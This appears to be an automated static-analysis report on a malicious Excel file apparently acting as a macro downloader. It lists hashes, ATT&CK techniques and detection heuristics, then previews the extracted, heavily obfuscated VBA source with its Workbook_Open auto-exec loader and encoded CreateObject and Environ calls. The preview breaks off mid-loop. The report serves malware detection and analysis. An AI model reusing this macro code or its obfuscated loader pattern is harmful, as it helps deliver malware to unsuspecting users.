Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bd2330728daf66cf…

MALICIOUS

Office (OLE)

664.5 KB Created: 2018-09-07 08:44:45 Authoring application: Microsoft Excel First seen: 2019-03-10
MD5: 0f39961a19f6e83a94f5f70da4d615e2 SHA-1: c80dd63cdf10e95f57cf5093d2d9c8bb22963c71 SHA-256: bd2330728daf66cf73340a27b71b7f8d0938c7b96fad33c9304b2408fd15675f
338 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macros download and write a file to disk. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic confirms an obfuscated auto-exec loader, likely responsible for executing the downloaded payload. The presence of VBA macros and the Workbook_Open event strongly suggest this Excel file is designed to deliver a secondary malicious component.

Heuristics 10

  • ClamAV: Xls.Malware.Emodldr-10058834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Emodldr-10058834-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        sdFWUUk = UNjcCqj.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set UNjcCqj = CreateObject(SrbBJk("MvRsiDoOcGgcrPr oitDsk toXM fb&gtb $.xP)XTx#M[OHL RJHggBTUx@T DlP[c("))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set UNjcCqj = CreateObject(SrbBJk("MvRsiDoOcGgcrPr oitDsk toXM fb&gtb $.xP)XTx#M[OHL RJHggBTUx@T DlP[c("))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set FCwbEUrZ = GetObject(SFFHnXaI)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        YzHhMa = Environ(SrbBJk("TmHXe   mD&apw  "))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 145109 bytes
SHA-256: 66c05a1ab0b4f44bebe465f70173c45c5270b72fcea86bfef33f986fe4cf65e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
650 of 1101 identifiers look randomly generated (e.g. 'oqVySdjpFqFgAkDN') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
    For LHBncG = 0 To 5
        rsFWiplOeqlQ = LTrim("EahsO@pMCZw")
        lINfrSeKEU = UCase("rPz TtqLmh  ")
        weidOBBYQv = "kIct ( @Ps[W" + "( jGxmw  (S[-RjziwyE" + "Y& CF%u@#QjlCCSd   "
        rsFWiplOeqlQ = Left("oTAK !@DUD V WKwC_]]", 3)
        WIROww = Left("vU(cab[@YK ", 2)
    Next LHBncG

    While OribGO < 2
        weidOBBYQv = UCase("-   l SBDBcaN")
        rsFWiplOeqlQ = Space(10)
        weidOBBYQv = UCase("wP G]atR.tdTiXKPT&")
        lINfrSeKEU = LTrim("FbqN[  w) fn")
        lINfrSeKEU = Right("DThR Z E . [ ", 4)
        tlnHj = "?^fX&z?aJ xE.ff." + "  hUhcf$  ] XRw" + "Wqx%i hck S x k"
        weidOBBYQv = Space(15)
        WIROww = "qP o J  &y %U   a" + "b    wLr& _" + "@l xcm y! avb % x"
        OribGO = OribGO + 3
    Wend

    weidOBBYQv = 1255 + 250 + 155
    While OvOIRF < 2
        For fcGrsR = 0 To 10
            rsFWiplOeqlQ = "obci PE!vjgdY% " + " OZBp CBgD)t" + "XW#-EMY &dQ( "
            tlnHj = Space(19)
            tlnHj = "mk  ]Q Su ? _" + "k$i   ]F WGm(b[kk  T" + "l$YV^FCm&(iz ml- hG"
            weidOBBYQv = Space(16)
            weidOBBYQv = 345 + 599 + 796
            weidOBBYQv = Space(5)
            rsFWiplOeqlQ = 319 + 522 + 1893
            rsFWiplOeqlQ = "Oa( L   n % Ez " + "e Qzmy_QvJ)Aw[ F" + "byHb  Ov[g"
            tlnHj = 1481 + 1563 + 1010
        Next fcGrsR

        tlnHj = Right("G ]nY#jX! P)!Z", 3)
        lINfrSeKEU = 1802 - 1996 - 274
        WIROww = Space(15)
        weidOBBYQv = RTrim("n#ZWd_PqnOpz pw%^")
        lINfrSeKEU = 603 - 1514 - 988
        weidOBBYQv = RTrim("Lv X!! X   J g?AC")
        lINfrSeKEU = UCase("  rKh l g kK)")
        tlnHj = UCase("l )qax #oRk")
        weidOBBYQv = Right("wL-I%Sz _j V % #]X", 4)
        WIROww = LTrim("D m[zz#l .RRioK    ")
        OvOIRF = OvOIRF + 2
    Wend

    WIROww = "RQ_keGjbdT" + "BCNTZgtlj!p U " + "jSP dV]J   lK"
    WIROww = "zC oQO X%B sDr_MRryP" + " iEYQ i%xcPjQ[!" + "acS YilzIN @vO   "
    lINfrSeKEU = Left("vKx wUo  laDKw%j [", 3)
    For tZOvqp = 0 To 9
        lINfrSeKEU = LTrim("   siz b j( -  ")
        rsFWiplOeqlQ = RTrim("  s W-haN#m cd.  j  ")
    Next tZOvqp

    weidOBBYQv = "(GwPWPoI m(ha" + "R  f  $  %X    Pm" + "O&  Hqlg j"
    WIROww = LTrim(" IF-lulj mX")
    While KzYFwJ < 5
        weidOBBYQv = 340 - 167 - 847
        rsFWiplOeqlQ = 1679 - 115 - 1658
        weidOBBYQv = Space(9)
        KzYFwJ = KzYFwJ + 2
    Wend

    While RxGXxy < 2
        WIROww = LTrim(" _o[ UcHAm )E xOeu")
        WIROww = Right("zNkn%]  G   k%", 5)
        lINfrSeKEU = 809 + 1518 + 391
        RxGXxy = RxGXxy + 3
    Wend

    WIROww = 1799 + 941 + 112
    tlnHj = Left("[ ! g ^l A", 5)
    rsFWiplOeqlQ = 1213 - 483 - 971
    For fGbBhn = 0 To 6
        WIROww = LTrim(" jRNC D ) b ")
        tlnHj = "w% s YD_ -E" + "   hu^rIe " + "e ^V) .n  $M&  ( pl"
        rsFWiplOeqlQ = 1237 - 578 - 1035
        weidOBBYQv = LTrim(" ^vdX v yB Yd ")
        WIROww = Right("AL?qgHHbvJ(^g&", 4)
        WIROww = Left("^K-&F.Q k_MGtZ&S( ", 4)
        tlnHj = Space(7)
        lINfrSeKEU = StrReverse("t?@m ?DJXe rm U")
        tlnHj = StrReverse("eh!B [ OcBaFQglWhb m")
        rsFWiplOeqlQ = Space(9)
    Next fGbBhn

    rsFWiplOeqlQ = 436 - 1054 - 526
    rsFWiplOeqlQ = 1842 + 273 + 1898
    tlnHj = Space(10)
    tlnHj = 464 + 1382 + 980
    lINfrSeKEU = RTrim("j fRH teB!] ")
    tlnHj = 444 + 186 + 1919
    While SvuHyq < 2
        WIROww = StrReverse("a?^vR#HUV D^QKvR ")
        rsFWiplOeqlQ = Space(19)
        weidOBBYQv = UCase(" eU jbep z( F")
        weidOBBYQv = StrReverse(" JeOpn(@?.yoO ]q!w ")
        WIROww = UCase("ilehN@ $%]#@  t c")
        weidOBBYQv = 1228 + 511 + 276
        WIROww = 1678 - 804 - 904
        lINfrSeKEU = Left(" u?sk-caVJCm", 5)
        SvuHyq = SvuHyq + 2
    Wend

    rsFWiplOeqlQ = Left(" jG rsh  )", 3)
    weidOBBYQv = Right("  ?STQ_YvhYxfov", 2)
    rsFWiplOeqlQ = "y y-    B  . )rF " + "S z_FYK]Ewf  VqJl " + "qx(m&(Cvy_$Qq_    Y "
    WIROww = UCase(" IUG   OyQ!)mSXsF ")
    rsFWiplOeqlQ = "iqr% ev] eG  vka" + "o#q  %yE Lz&TrJ cC" + "   Qx&nH R S"
    lINfrSeKEU = 660 + 315 + 1555
    lINfrSeKEU = StrReverse("LipnG?o  DMwwkvDL")
ckhRFTXx "osXdgPkKW", "bzMYDFC", "zsbdhoPvnG", "ZECXTGmckD", "MKtKKHvO", "IxAiRl"
    YzHhMa = Environ(SrbBJk("TmHXe   mD&apw  "))
    lINfrSeKEU = LTrim("m?F   p diY)  p)u")
    WIROww = StrReverse("bKU_$Wt%NJ _ e ? -&")
    lINfrSeKEU = StrReverse("  BZ?S TZH xO N$XX")
    rsFWiplOeqlQ = Space(12)
    Dim ZSqBxFxs As String
    WIROww = LTrim("@ py #X d?u@")
    WIROww = " W.O#! E-S^-q s)m " + "EBf i k(c[R b" + " LXc%nXrY o(E.Jh_WZ"
    For NKXASf = 0 To 6
        lINfrSeKEU = LTrim(" UOMu]^  Nl.Bx")
        rsFWiplOeqlQ = Space(16)
        weidOBBYQv = RTrim("K^tRy^(UHU)lb^s d")
        lINfrSeKEU = Space(19)
        rsFWiplOeqlQ = 1609 - 692 - 1140
        lINfrSeKEU = 1632 + 708 + 584
        WIROww = RTrim(" J -zE n @L P? S ")
        lINfrSeKEU = RTrim("NpCi_! N  VsBc xQ ")
        rsFWiplOeqlQ = 722 - 1485 - 1433
    Next NKXASf

    tlnHj = LTrim(" La_K ulWZz")
    lINfrSeKEU = "cJA)] JYQO" + " ^jWD DcI G WbK" + "  Wswe%f$lf o"
    While NZbOfs < 3
        While TEIzkA < 1
            tlnHj = Space(14)
            weidOBBYQv = Right("_  fS J N_n-I", 3)
            weidOBBYQv = 1702 - 877 - 1738
            tlnHj = Right("k   J  !&lm", 3)
            weidOBBYQv = RTrim("(_ ?qD &   r ")
            weidOBBYQv = Space(7)
            WIROww = "j cw?nQ]vb-!  M " + "Fqc  (hu(Lq" + "@?FdAw  ) wJ@"
            TEIzkA = TEIzkA + 3
        Wend

        WIROww = 352 + 802 + 529
        WIROww = Space(19)
        lINfrSeKEU = Left("AMCr lWh&ZmmG Omn ", 5)
        tlnHj = "u)  W[w ri o DlzH& " + "xu  Bq @Ruy j" + ".^ oSH-q  RtR$"
        WIROww = " GmmuIk ]q Bk? F" + "lvq(WinO  M B  " + "LV BN z_W fjdZ "
        tlnHj = "?-WVij gKgM# ! %SW %" + "%kWXlfrS  " + "iFv$Nk(.UJ "
        weidOBBYQv = LTrim("uLI MYWDj y$b")
        WIROww = LTrim("@. GC mgSnm")
        rsFWiplOeqlQ = UCase("T(E  Uq Jp y y   ")
        NZbOfs = NZbOfs + 3
    Wend

    For FluzpD = 0 To 2
        While XEpwCu < 1
            WIROww = UCase("Q   ^j&tSFujAS@  S  ")
            WIROww = 1158 + 315 + 1195
            weidOBBYQv = " ^.]  FwJ&" + "SWes u$oC O C" + "lh] M)]a    # m "
            rsFWiplOeqlQ = LTrim("pvK[_Swy % gD  A ")
            XEpwCu = XEpwCu + 2
        Wend

        WIROww = 482 - 813 - 172
        weidOBBYQv = 1444 + 1771 + 1675
        WIROww = LTrim("J^fsU  eIA s L)%GU")
        WIROww = UCase("  LkBF s(Kq-beZx ")
        weidOBBYQv = RTrim(" UMuX#U]FT")
        rsFWiplOeqlQ = LTrim("$ &tsuSukiWUp p%FK  ")
    Next FluzpD

    WIROww = LTrim("oZYT?R^dS )_")
    ZSqBxFxs = "Fvp O"
    lINfrSeKEU = "f[-W% wLBaHLMC @" + "Vc )t  x@ !" + "& nTKTWe_ X  NLn s?"
    lINfrSeKEU = LTrim("ztaPa) T#-U%a yN_ j")
    rsFWiplOeqlQ = LTrim("?avkFW# a  ")
    tlnHj = Left("Nq PPCD)a  lW k j % ", 3)
    lINfrSeKEU = " Rlbg]YKyLHxRzRqYIWg" + "xkP sj-B rk _LR" + "o_k %# T!dZ^)S "
    rsFWiplOeqlQ = 711 - 1562 - 1144
    tlnHj = Left(")l?  XJ  Ym!!^Kq", 3)
    lINfrSeKEU = "zHq woXi eh $_!OC r]" + "GbEkwyvO#o p Z " + " GRjZl#DxV  egivm"
    ZSqBxFxs = ZSqBxFxs + "zZtLH"
    For tOOETd = 0 To 7
        rsFWiplOeqlQ = StrReverse("hPcyaIBhI^H  vg")
        lINfrSeKEU = Right(" G G  !m zr", 5)
        weidOBBYQv = Left(" E IK@ q( VLP", 4)
        weidOBBYQv = LTrim("h r][Dq  j F")
        weidOBBYQv = "H_B&  hd[s_?e" + "  oeF)   .r(   Fu" + "V?e r  sFH"
        WIROww = 121 - 1217 - 1717
        rsFWiplOeqlQ = "G#AI yRC KRI-" + "wCsW]g O[)_Z  " + "Se   $jBr$! e"
    Next tOOETd

    tlnHj = RTrim("S R-k#t  D tW")
    tlnHj = Right("rDW]BPVH]dUBAoqGJ#", 2)
    tlnHj = "y?ewOscO?z  " + "  ! V@bw  " + " ?   $MZl n^  (Ho"
    WIROww = UCase("qd P!uD v tlYa   ")
    ZSqBxFxs = ZSqBxFxs + "H DcZ"
    rsFWiplOeqlQ = UCase(" ZNTEeLwEVxXN")
    weidOBBYQv = StrReverse("  sQRo@ S%HdjLY]")
    lINfrSeKEU = 1661 + 1709 + 1287
    WIROww = 424 - 286 - 1190
    lINfrSeKEU = Left("    yh& H   ", 2)
    rsFWiplOeqlQ = 1752 - 625 - 653
    rsFWiplOeqlQ = "b. $[Wx%l^%dky gd%b " + "mWMJk]UL x  lq" + "pBp  BzzzcgWK"
    ZSqBxFxs = ZSqBxFxs + "qE@_ "
    lINfrSeKEU = LTrim("?g (lNpGwz[ # _DLG")
    lINfrSeKEU = Right(" Mldp   k FaX @r ", 4)
    tlnHj = RTrim("( bG?B S zfkNw j) k ")
    tlnHj = LTrim(" # ?C(ldlu-K[t a y@H")
    rsFWiplOeqlQ = Left(" Vc@T  xZ wcnAD  PH ", 5)
    While xItQEi < 4
        For zCQVED = 0 To 10
            rsFWiplOeqlQ = 309 + 277 + 1556
            rsFWiplOeqlQ = LTrim("UkTP@  HFFFK")
            weidOBBYQv = 1797 + 1205 + 1676
            weidOBBYQv = Left("j& # w?EN# .a$w?RV", 5)
            rsFWiplOeqlQ = 1314 - 1623 - 384
            weidOBBYQv = LTrim(" ]dc lVTnRdY q? )unE")
            lINfrSeKEU = Right("LVtC kqpM L ", 4)
        Next zCQVED

        lINfrSeKEU = 404 - 1800 - 1471
        WIROww = StrReverse("U&yvSbDzn^_.pWr")
        lINfrSeKEU = LTrim("r stDJTe . J(Q( ")
        WIROww = 1843 - 153 - 1891
        xItQEi = xItQEi + 2
    Wend

    For apNOxl = 0 To 1
        For kSVjxu = 0 To 9
            weidOBBYQv = UCase("aWy@Lc JSeVKy P&^BKY")
            WIROww = "NX F@ TRTZhsfNpY" + " HfEQ  OVKPr" + "U  pg ?qF%IG"
        Next kSVjxu

        WIROww = UCase("Kb   IK  %V")
        weidOBBYQv = Space(5)
        tlnHj = Space(16)
    Next apNOxl

    For ZgijcC = 0 To 5
        While yOyVQW < 4
            weidOBBYQv = RTrim(" YwJY Z#FN e Tn")
            tlnHj = StrReverse("&C   WyA#C p&kB")
            WIROww = LTrim(" Y@e kd(.u")
            WIROww = 1135 - 1431 - 1969
            WIROww = Left("g S H &p&VL xR", 4)
            rsFWiplOeqlQ = 1844 + 1443 + 845
            lINfrSeKEU = LTrim(" TAh]VCp O   (k](")
            weidOBBYQv = 470 + 1605 + 312
            tlnHj = Right("  Ap whUg xIznb ", 2)
            yOyVQW = yOyVQW + 1
        Wend

        WIROww = RTrim(" V!V^O&CvBqi")
        rsFWiplOeqlQ = Space(11)
        weidOBBYQv = StrReverse("o#UPki cfmju]u")
        rsFWiplOeqlQ = RTrim("&b ?eirI.    _HT m @")
        weidOBBYQv = Space(19)
        lINfrSeKEU = StrReverse("Q ctn  Azu  hxrkZe")
    Next ZgijcC

    WIROww = RTrim("MT b@tEJ H n  ")
    For WNAMxn = 0 To 3
        For GUaouT = 0 To 9
            rsFWiplOeqlQ = LTrim("j  .Y@B[FJ pSR pM")
            tlnHj = 1526 - 1249 - 1131
            lINfrSeKEU = Space(11)
        Next GUaouT

        weidOBBYQv = RTrim("  e uTGXry%GB  TWj")
        tlnHj = RTrim(" hx   H  snvhB")
        rsFWiplOeqlQ = RTrim(" Dl&AY  %. ?d  ")
        tlnHj = 1102 + 824 + 1936
        tlnHj = "IXTXlQqcThkeW" + "E!xw?  ](Wa" + "QL)^R g Qy LPsNs"
        rsFWiplOeqlQ = Left(")U@pMrdZ cryn K iV#F", 2)
    Next WNAMxn

    ZSqBxFxs = ZSqBxFxs + "RS  \"
    lINfrSeKEU = RTrim("]h I  dph$C^ Dh g")
    For yZrUdU = 0 To 8
        weidOBBYQv = UCase(" N     SzYR__N@")
        rsFWiplOeqlQ = Right("u#  f NK  ktaV", 3)
        rsFWiplOeqlQ = " . e$pPx# ME! h!Olw " + "lf H  odVIk! " + " gH yz@HUz .  SQC?"
        tlnHj = UCase("f?(_np&wS .rg")
        lINfrSeKEU = "s  j vgT PF " + "e efCn   vZk )s -" + "#B   Cph V U"
    Next yZrUdU

    While GbNyDH < 4
        rsFWiplOeqlQ = StrReverse("^xn  jn(GBV  Bs")
        WIROww = RTrim("iHJ^qDDXH k")
        GbNyDH = GbNyDH + 3
    Wend

    WIROww = StrReverse("Sq i aD QAXs")
    WIROww = 1311 - 1736 - 1008
    tlnHj = Space(3)
    rsFWiplOeqlQ = UCase(" Qmz M sB-LUf")
    ZSqBxFxs = ZSqBxFxs + " i[J$"
    rsFWiplOeqlQ = Right("fUld[  kWwxNK ", 3)
    weidOBBYQv = Right("XN(S  d( Y &  %b", 4)
    For zhlmKg = 0 To 2
        For UFZnjY = 0 To 10
            WIROww = RTrim("mf TF Ks]?mvmVCt!j H")
            weidOBBYQv = LTrim(" e] vmyHsT N r(&]ilB")
            weidOBBYQv = Left("(E z bjK# ?xaDUm", 4)
            weidOBBYQv = "FL &dSKb . @N[@" + "_g ^  #X  " + "  W?  %vxCNs"
            weidOBBYQv = Space(14)
        Next UFZnjY

        tlnHj = Right("@ fG[yW   [a vpyK", 5)
        tlnHj = Right("qW vLQaqoJP", 3)
        weidOBBYQv = StrReverse("-d o_LEx  ")
        rsFWiplOeqlQ = 1436 - 1918 - 415
        weidOBBYQv = Right("cw %t  ?MDw", 2)
        tlnHj = StrReverse("ka#m[^WGpBK")
        tlnHj = 1794 - 1682 - 620
        tlnHj = 1341 - 1210 - 312
        WIROww = Left("@R  ]Po z ", 2)
        WIROww = StrReverse("oNX# GDV f^n")
    Next zhlmKg

    weidOBBYQv = Right("mK!@d TbIYSDpW@^ P", 5)
    weidOBBYQv = 893 - 1597 - 867
    weidOBBYQv = LTrim("qiH) o S#AUAZ #q.Kt]")
    lINfrSeKEU = Left(" (!jBMeo$ tw  lhS ]J", 5)
    WIROww = Right("mXMwdX^zK.k   ", 4)
    lINfrSeKEU = " @W  #]FB#hE  " + " bj   !vD% #" + "nH]#]qoN Qu"
    rsFWiplOeqlQ = 943 - 1338 - 472
    ZSqBxFxs = ZSqBxFxs + "ShbIs"
    lINfrSeKEU = UCase(" $ O  Ka_  xP!a_&^f")
    tlnHj = Left(" Ej  .p &oO( - isr", 3)
    While Agxemp < 5
        While tWQXJW < 4
            rsFWiplOeqlQ = RTrim(" Uue u (Tk-v")
            lINfrSeKEU = 217 - 302 - 1009
            tWQXJW = tWQXJW + 2
        Wend

        rsFWiplOeqlQ = 1252 + 1516 + 517
        weidOBBYQv = 1946 - 1802 - 1759
        lINfrSeKEU = UCase("ucR_lXXD  ")
        tlnHj = UCase("V  I r_.MTei IM  L")
        Agxemp = Agxemp + 2
    Wend

    lINfrSeKEU = Right("Z]qAo   W?", 5)
    WIROww = LTrim("Cpn!wB-H_j@]")
    ZSqBxFxs = ZSqBxFxs + "IZT  "
    rsFWiplOeqlQ = 899 - 1738 - 475
    lINfrSeKEU = Left("z GuC#PLIAil ", 4)
    For aJGfwb = 0 To 9
        tlnHj = "p?u q %U[-Xa_-FNAb" + "-b h SUq[] x@" + "nb]x?u   B"
        tlnHj = Right("hP ]RHkiUf h", 2)
        rsFWiplOeqlQ = Space(20)
        weidOBBYQv = Space(1)
        tlnHj = UCase("zb j&Trn G")
    Next aJGfwb

    For lWdNRL = 0 To 4
        While QKxGZG < 2
            rsFWiplOeqlQ = Space(3)
            lINfrSeKEU = RTrim("RXS $u @ s")
            weidOBBYQv = StrReverse("# K.M#IXmT  ")
            tlnHj = RTrim("O^p h f_ ^D-P n")
            weidOBBYQv = 1969 + 309 + 597
            WIROww = 640 + 1815 + 1122
            weidOBBYQv = StrReverse("u_AK e^Rkn")
            tlnHj = LTrim("w N[_fE_#]vMT#NJMe")
            tlnHj = 799 + 1928 + 1657
            WIROww = "M zo DJc @YWemuVTp" + " Ek m($Cl lzOw" + "]nwyI  ?t[H IqlX"
            QKxGZG = QKxGZG + 3
        Wend

        weidOBBYQv = Left("c^ LC tF(f", 3)
        rsFWiplOeqlQ = RTrim("WjWK.erkaD ")
        weidOBBYQv = Space(19)
        rsFWiplOeqlQ = Space(18)
        weidOBBYQv = "#hWq!l ^w#%]R@ " + "X# & ?_ blgWxC" + "(kLB  oC N  B "
        rsFWiplOeqlQ = Left("   GH gTvf ?vJ zn", 2)
    Next lWdNRL

    While nFoqKr < 5
        For PZuzXB = 0 To 6
            WIROww = Space(8)
            rsFWiplOeqlQ = " r#X]Qm$w !M" + "-gnAmEb&m]W_e^M" + "VV?P ?k$]  #WF?dkpi"
            WIROww = Space(17)
        Next PZuzXB

        tlnHj = RTrim("mg  & p) &! x@Z[ ")
        rsFWiplOeqlQ = Space(4)
        WIROww = LTrim("z. @ ?Wb vEI C&BI")
        WIROww = "WiR[  B@ w e^CrTd s" + "U  u] j mo a I esm N" + " -_  Hfl F "
        tlnHj = Space(9)
        nFoqKr = nFoqKr + 3
    Wend

    ZSqBxFxs = ZSqBxFxs + "cW  g"
    While UQRCPr < 5
        tlnHj = StrReverse("q@m -RqZwLLm&V - w")
        lINfrSeKEU = UCase(" SR ) w rztXF DY  _ ")
        lINfrSeKEU = UCase(" GvG UugEz hK-gR P")
        UQRCPr = UQRCPr + 3
    Wend

    lINfrSeKEU = LTrim(")NPO FSs s")
    While LkSKfo < 3
        While kYsXcy < 2
            tlnHj = Space(3)
            WIROww = StrReverse(" ]   Ta [tiN[ Y Cci")
            rsFWiplOeqlQ = Left("&cW  R wxn a%sz%pEw", 3)
            rsFWiplOeqlQ = 1039 + 1803 + 640
            rsFWiplOeqlQ = Right("A f?((n_t ", 3)
            rsFWiplOeqlQ = Space(13)
            weidOBBYQv = LTrim("As)rROOv     am(k")
            kYsXcy = kYsXcy + 2
        Wend

        tlnHj = 1129 - 697 - 618
        rsFWiplOeqlQ = 139 + 948 + 1298
        WIROww = Left("(GB]z#R lZ  ", 2)
        weidOBBYQv = 1774 + 1902 + 817
        lINfrSeKEU = 1792 + 969 + 480
        rsFWiplOeqlQ = StrReverse("r$Jw  DrS Ox r ")
        weidOBBYQv = Space(6)
        WIROww = 1130 + 403 + 752
        rsFWiplOeqlQ = UCase("!rXP&mxD.N  R")
        WIROww = "   C!   rU " + "%G?T VbSou?(ii# " + "  PeKX[GjnPw &X^yV P"
        LkSKfo = LkSKfo + 1
    Wend

    While leCIJF < 3
        rsFWiplOeqlQ = Right("DMN %# ifx)v", 4)
        WIROww = 1429 + 668 + 1916
        rsFWiplOeqlQ = Left("kA@W _ HLbuokN$_Bj#K", 2)
        tlnHj = UCase("    @M? aqEu")
        leCIJF = leCIJF + 3
    Wend

    WIROww = 1738 + 677 + 532
    ZSqBxFxs = ZSqBxFxs + "?xZUG"
    lINfrSeKEU = "Qbi B  !PmJ . U? " + " t  Jhcz -C]eXCsnLa%" + " %OzcEQc & [d(o"
    While fpmnCO < 5
        For BPrrrA = 0 To 6
            rsFWiplOeqlQ = Left("  ]ymnx&Ht ", 3)
            lINfrSeKEU = Right("-KL) D]mNw odwjeMC ", 4)
        Next BPrrrA

        weidOBBYQv = Left("D w#M !DytN x ]@NI", 2)
        lINfrSeKEU = StrReverse("w&X Um [  ZMZ( ")
        weidOBBYQv = Space(5)
        rsFWiplOeqlQ = RTrim("lo s GFRjQo%&xj ")
        rsFWiplOeqlQ = Space(13)
        rsFWiplOeqlQ = RTrim("Yir!k d?HgnD")
        weidOBBYQv = LTrim("d  Ld$ rcFZ  D ")
        WIROww = UCase(" dzD_T#   ")
        lINfrSeKEU = 1901 + 1776 + 1267
        WIROww = RTrim("VNk%   o#d lCm")
        fpmnCO = fpmnCO + 3
    Wend

    weidOBBYQv = 1583 + 479 + 888
    tlnHj = Right("BGCi  wBXdbKbyE", 5)
    rsFWiplOeqlQ = LTrim("% M] aWryT ^Ds $TG")
    WIROww = Left("U]  B o(D^!Y F!p", 2)
    weidOBBYQv = Left(" t Mqz P #VB &", 4)
    ZSqBxFxs = ZSqBxFxs + "ACeKN"
    While kXlUbN < 2
        tlnHj = 1840 - 291 - 1061
        weidOBBYQv = UCase("^  U$qi?i^o ")
        lINfrSeKEU = 1337 - 1822 - 454
        WIROww = "ak@p UAU ph l FD" + "A L#@^L  whD LAU" + "YfY(( $  k y "
        tlnHj = RTrim("&? Y #Ty zgRFu[")
        lINfrSeKEU = "a  gUf vbrn" + "hvv]u   G#NS V gV fC" + "n KJzegooOGbH[GEv"
        WIROww = Space(19)
        weidOBBYQv = Left("Xp KsQ.fq$VW [Mi", 3)
        lINfrSeKEU = LTrim("i yLRq s-bZs B")
        kXlUbN = kXlUbN + 3
    Wend

    lINfrSeKEU = "kvp#K)Yhx Ej c]Uy " + "-A b vzTVz aM " + "#g!X& lo F"
    tlnHj = "_hIjq PH qoXs  aQm" + "a hXxQph gNl?PbWfz" + "v P ^E- w-TUo C"
    weidOBBYQv = "n j ac d?# ^q &" + "w P  #DUl Ky@ CJz" + "_ f(AU kEY .[ro ("
    lINfrSeKEU = Space(11)
    rsFWiplOeqlQ = Space(20)
    While fyiszB < 1
        For PDBbmH = 0 To 9
            weidOBBYQv = UCase("Q wQc@eD#T pZ")
            lINfrSeKEU = 1033 - 1560 - 1006
            lINfrSeKEU = 980 + 1086 + 536
            weidOBBYQv = "g  _i D#S_S" + " Phw@ Y % b" + "FJVquM?  Z"
            tlnHj = RTrim("$&C xEO Y&G")
            tlnHj = 516 + 348 + 101
            tlnHj = 291 - 1394 - 155
            tlnHj = RTrim("x LWk AS ax")
            weidOBBYQv = Left("D DaFT lG   b", 3)
        Next PDBbmH

        weidOBBYQv = RTrim("%.GA @ua  WQ")
        rsFWiplOeqlQ = RTrim("K]   t@  Vk] ja )z")
        rsFWiplOeqlQ = 1347 - 191 - 607
        weidOBBYQv = LTrim("x   -  WTQgg(")
        tlnHj = LTrim("mS.B fG$@VzMrBO  R")
        tlnHj = Left(" P i B R- s ", 4)
        WIROww = 1307 - 598 - 983
        fyiszB = fyiszB + 3
    Wend

    WIROww = StrReverse("JG  yvuzy(DFw%t  pp!")
    WIROww = Left("w LU o )sC @", 2)
    lINfrSeKEU = Left("I@@jNVHz P  Gss@", 3)
    ZSqBxFxs = ZSqBxFxs + "?.X  "
    tlnHj = LTrim(" GGc[ IH!s ")
    lINfrSeKEU = UCase("XRP o hsTN ")
    WIROww = StrReverse("rc  MO^mjqfd)]Xemqpb")
    tlnHj = Left("K c?wXZ[ oFW#", 3)
    While llsOqB < 3
        While lvJBUf < 3
            lINfrSeKEU = Right("yl] Sg iI?#P@ vj ", 3)
            weidOBBYQv = Space(12)
            lvJBUf = lvJBUf + 3
        Wend

        rsFWiplOeqlQ = RTrim("E BIr J  v S i^ gN ")
        lINfrSeKEU = RTrim("Q.yueB p  XNF!l ")
        rsFWiplOeqlQ = Space(6)
        weidOBBYQv = 902 + 1886 + 1672
        rsFWiplOeqlQ = Space(2)
        rsFWiplOeqlQ = UCase("R UlB^u@zQi   ks ?K ")
        lINfrSeKEU = UCase(" @d ZGVBk%rhTdaGjr ")
        tlnHj = Right(" Zli K BKq  ", 2)
        llsOqB = llsOqB + 3
    Wend

    WIROww = Right("c T  x%)Cf", 5)
    lINfrSeKEU = 212 + 925 + 434
    WIROww = Right("lZqf P Cn SY", 4)
    ZSqBxFxs = ZSqBxFxs + "edo%x"
    tlnHj = UCase("Exp-& WIX U YON?")
    rsFWiplOeqlQ = UCase("P_ v_  Fcvz")
    WIROww = LTrim("JfNrc vN MI  o")
    lINfrSeKEU = Left("x)d @I ?r )", 4)
    While MFLnbk < 4
        While RibGIv < 2
            rsFWiplOeqlQ = UCase("kg dF  QRj l$w  g")
            lINfrSeKEU = 108 + 1581 + 1250
            WIROww = Right("h j  ilk]e^%[VC  vhI", 4)
            weidOBBYQv = StrReverse("SLO- (J)p@")
            tlnHj = StrReverse("]s g qEQ( h CYk$hA e")
